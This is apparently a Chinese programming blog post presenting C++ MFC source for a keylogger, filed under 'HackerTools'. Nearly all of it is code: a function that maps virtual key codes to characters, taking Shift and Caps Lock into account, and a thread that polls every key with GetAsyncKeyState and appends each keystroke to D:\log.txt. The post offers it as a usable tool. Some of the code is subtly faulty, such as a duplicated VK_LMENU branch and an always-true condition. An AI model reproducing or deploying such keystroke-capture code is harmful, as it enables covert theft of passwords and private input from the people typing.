mfc HackerTools监控键盘按键

string GetKey(int Key)
{
    string KeyString = "";
    //判断符号输入
    const int KeyPressMask = 0x80000000; //键盘掩码常量
    int iShift = GetKeyState(0x10); //判断Shift键状态
    bool IS = (iShift & KeyPressMask) == KeyPressMask; //表示按下Shift键
    if (Key >= 186 && Key <= 222)
    {
        switch (Key)
        {
        case 186:
            if (IS)
                KeyString = ":";
            else
                KeyString = ";";
            break;
        case 187:
            if (IS)
                KeyString = "+";
            else
                KeyString = "=";
            break;
        case 188:
            if (IS)
                KeyString = "<";
            else
                KeyString = ",";
            break;
        case 189:
            if (IS)
                KeyString = "_";
            else
                KeyString = "-";
            break;
        case 190:
            if (IS)
                KeyString = ">";
            else
                KeyString = ".";
            break;
        case 191:
            if (IS)
                KeyString = "?";
            else
                KeyString = "/";
            break;
        case 192:
            if (IS)
                KeyString = "~";
            else
                KeyString = "`";
            break;
        case 219:
            if (IS)
                KeyString = "{";
            else
                KeyString = "[";
            break;
        case 220:
            if (IS)
                KeyString = "|";
            else
                KeyString = "\\";
            break;
        case 221:
            if (IS)
                KeyString = "}";
            else
                KeyString = "]";
            break;
        case 222:
            if (IS)
                KeyString = '"';
            else
                KeyString = "'";
            break;
        }
    }
    //判断键盘的第一行
    if (Key == VK_ESCAPE) // 退出
        KeyString = "[Esc]";
    else if (Key == VK_F1) // F1至F12
        KeyString = "[F1]";
    else if (Key == VK_F2)
        KeyString = "[F2]";
    else if (Key == VK_F3)
        KeyString = "[F3]";
    else if (Key == VK_F4)
        KeyString = "[F4]";
    else if (Key == VK_F5)
        KeyString = "[F5]";
    else if (Key == VK_F6)
        KeyString = "[F6]";
    else if (Key == VK_F7)
        KeyString = "[F7]";
    else if (Key == VK_F8)
        KeyString = "[F8]";
    else if (Key == VK_F9)
        KeyString = "[F9]";
    else if (Key == VK_F10)
        KeyString = "[F10]";
    else if (Key == VK_F11)
        KeyString = "[F11]";
    else if (Key == VK_F12)
        KeyString = "[F12]";
    else if (Key == VK_SNAPSHOT) // 打印屏幕
        KeyString = "[PrScrn]";
    else if (Key == VK_SCROLL) // 滚动锁定
        KeyString = "[Scroll Lock]";
    else if (Key == VK_PAUSE) // 暂停、中断
        KeyString = "[Pause]";
    else if (Key == VK_CAPITAL) // 大写锁定
        KeyString = "[Caps Lock]";

    //-------------------------------------//
    //控制键
    else if (Key == 8) //<- 回格键
        KeyString = "[Backspace]";
    else if (Key == VK_RETURN) // 回车键、换行
        KeyString = "[Enter]\n";
    else if (Key == VK_SPACE) // 空格
        KeyString = " ";
    //上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
    //上档键和别的键组合,输出时有字符输出
    /*
    else if (Key == VK_LSHIFT) // 左侧上档键
    KeyString = "[Shift]";
    else if (Key == VK_LSHIFT) // 右侧上档键
    KeyString = "[SHIFT]";
    */
    /*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
    else if (Key == VK_TAB) // 制表键
        KeyString = "[Tab]";
    else if (Key == VK_LCONTROL) // 左控制键
        KeyString = "[Ctrl]";
    else if (Key == VK_RCONTROL) // 右控制键
        KeyString = "[CTRL]";
    else if (Key == VK_LMENU) // 左换档键
        KeyString = "[Alt]";
    else if (Key == VK_LMENU) // 右换档键
        KeyString = "[ALT]";
    else if (Key == VK_LWIN) // 右 WINDOWS 键
        KeyString = "[Win]";
    else if (Key == VK_RWIN) // 右 WINDOWS 键
        KeyString = "[WIN]";
    else if (Key == VK_APPS) // 键盘上 右键
        KeyString = "右键";
    else if (Key == VK_INSERT) // 插入
        KeyString = "[Insert]";
    else if (Key == VK_DELETE) // 删除
        KeyString = "[Delete]";
    else if (Key == VK_HOME) // 起始
        KeyString = "[Home]";
    else if (Key == VK_END) // 结束
        KeyString = "[End]";
    else if (Key == VK_PRIOR) // 上一页
        KeyString = "[PgUp]";
    else if (Key == VK_NEXT) // 下一页
        KeyString = "[PgDown]";
    // 不常用的几个键:一般键盘没有
    else if (Key == VK_CANCEL) // Cancel
        KeyString = "[Cancel]";
    else if (Key == VK_CLEAR) // Clear
        KeyString = "[Clear]";
    else if (Key == VK_SELECT) //Select
        KeyString = "[Select]";
    else if (Key == VK_PRINT) //Print
        KeyString = "[Print]";
    else if (Key == VK_EXECUTE) //Execute
        KeyString = "[Execute]";

    //----------------------------------------//
    else if (Key == VK_LEFT) //上、下、左、右键
        KeyString = "[←]";
    else if (Key == VK_RIGHT)
        KeyString = "[→]";
    else if (Key == VK_UP)
        KeyString = "[↑]";
    else if (Key == VK_DOWN)
        KeyString = "[↓]";
    else if (Key == VK_NUMLOCK)//小键盘数码锁定
        KeyString = "[NumLock]";
    else if (Key == VK_ADD) // 加、减、乘、除
        KeyString = "+";
    else if (Key == VK_SUBTRACT)
        KeyString = "-";
    else if (Key == VK_MULTIPLY)
        KeyString = "*";
    else if (Key == VK_DIVIDE)
        KeyString = "/";
    else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
        KeyString = ".";
    //小键盘数字键:0-9
    else if (Key == VK_NUMPAD0)
        KeyString = "0";
    else if (Key == VK_NUMPAD1)
        KeyString = "1";
    else if (Key == VK_NUMPAD2)
        KeyString = "2";
    else if (Key == VK_NUMPAD3)
        KeyString = "3";
    else if (Key == VK_NUMPAD4)
        KeyString = "4";
    else if (Key == VK_NUMPAD5)
        KeyString = "5";
    else if (Key == VK_NUMPAD6)
        KeyString = "6";
    else if (Key == VK_NUMPAD7)
        KeyString = "7";
    else if (Key == VK_NUMPAD8)
        KeyString = "8";
    else if (Key == VK_NUMPAD9)
        KeyString = "9";
    //-------------------------------------------//

    //-------------------------------------------//
    //*对字母的大小写进行判断*//
    else if (Key >= 97 && Key <= 122) // 字母:a-z
    {
        if (GetKeyState(VK_CAPITAL)) // 大写锁定
        {
            if (IS) //Shift按下:为小写字母
                KeyString = Key;
            else // 只有大写锁定:输出大写字母
                KeyString = Key - 32;
        }
        else// 大写没有锁定
        {
            if (IS) // 按下Shift键: 大写字母
                KeyString = Key - 32;
            else // 没有按Shift键: 小写字母
                KeyString = Key;
        }
    }
    else if (Key >= 48 && Key <= 57) // 键盘数字:0-9及上方的符号
    {
        if (IS)
        {
            switch (Key)
            {
            case 48: //0
                KeyString = ")";
                break;
            case 49://1
                KeyString = "!";
                break;
            case 50://2
                KeyString = "@";
                break;
            case 51://3
                KeyString = "#";
                break;
            case 52://4
                KeyString = "$";
                break;
            case 53://5
                KeyString = "%";
                break;
            case 54://6
                KeyString = "^";
                break;
            case 55://7
                KeyString = "&";
                break;
            case 56://8
                KeyString = "*";
                break;
            case 57://9
                KeyString = "(";
                break;
            }
        }
        else
            KeyString = Key;
    }
    if (Key != VK_LBUTTON || Key != VK_RBUTTON)
    {
        if (Key >= 65 && Key <= 90) //ASCII 65-90 为A-Z
        {
            if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
            {
                if (IS) // 大写锁定,并且按下上档键:输出为小写字母
                    KeyString = Key + 32;
                else //只有大写锁定:输出为大写字母
                    KeyString = Key;
            }
            else // 大写没有锁定:a-z
            {
                if (IS)
                {
                    KeyString = Key;
                }
                else
                {
                    Key = Key + 32;
                    KeyString = Key;
                }
            }
        }
    }
    return KeyString;
}
UINT KeyRecordProc(LPVOID lpVoid)
{
    string Filename = "D:\\log.txt";//倒出记录文本存在D盘log.txt目录下
    string TempString = "";
    fstream FStream;
    HWND hWnd = NULL;
    wchar_t* WindowName = NULL;
    ::MessageBox(0,L"现在开始键盘记录",L"OK",0);
    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
    while (true)
    {
        Sleep(5);
        for (int i = 8; i <= 255; i++)
        {
            if ((GetAsyncKeyState(i) & 1) == 1)
            {
                //获取并写入按键
                TempString = GetKey(i);
                FStream.write(TempString.c_str(), TempString.size());
                FStream.close();
                FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
            }
        }
    }
}

开启一个线程循环监听键盘按键。

posted @ 2020-06-28 15:21  zebra_彬  阅读(683)  评论(0编辑  收藏  举报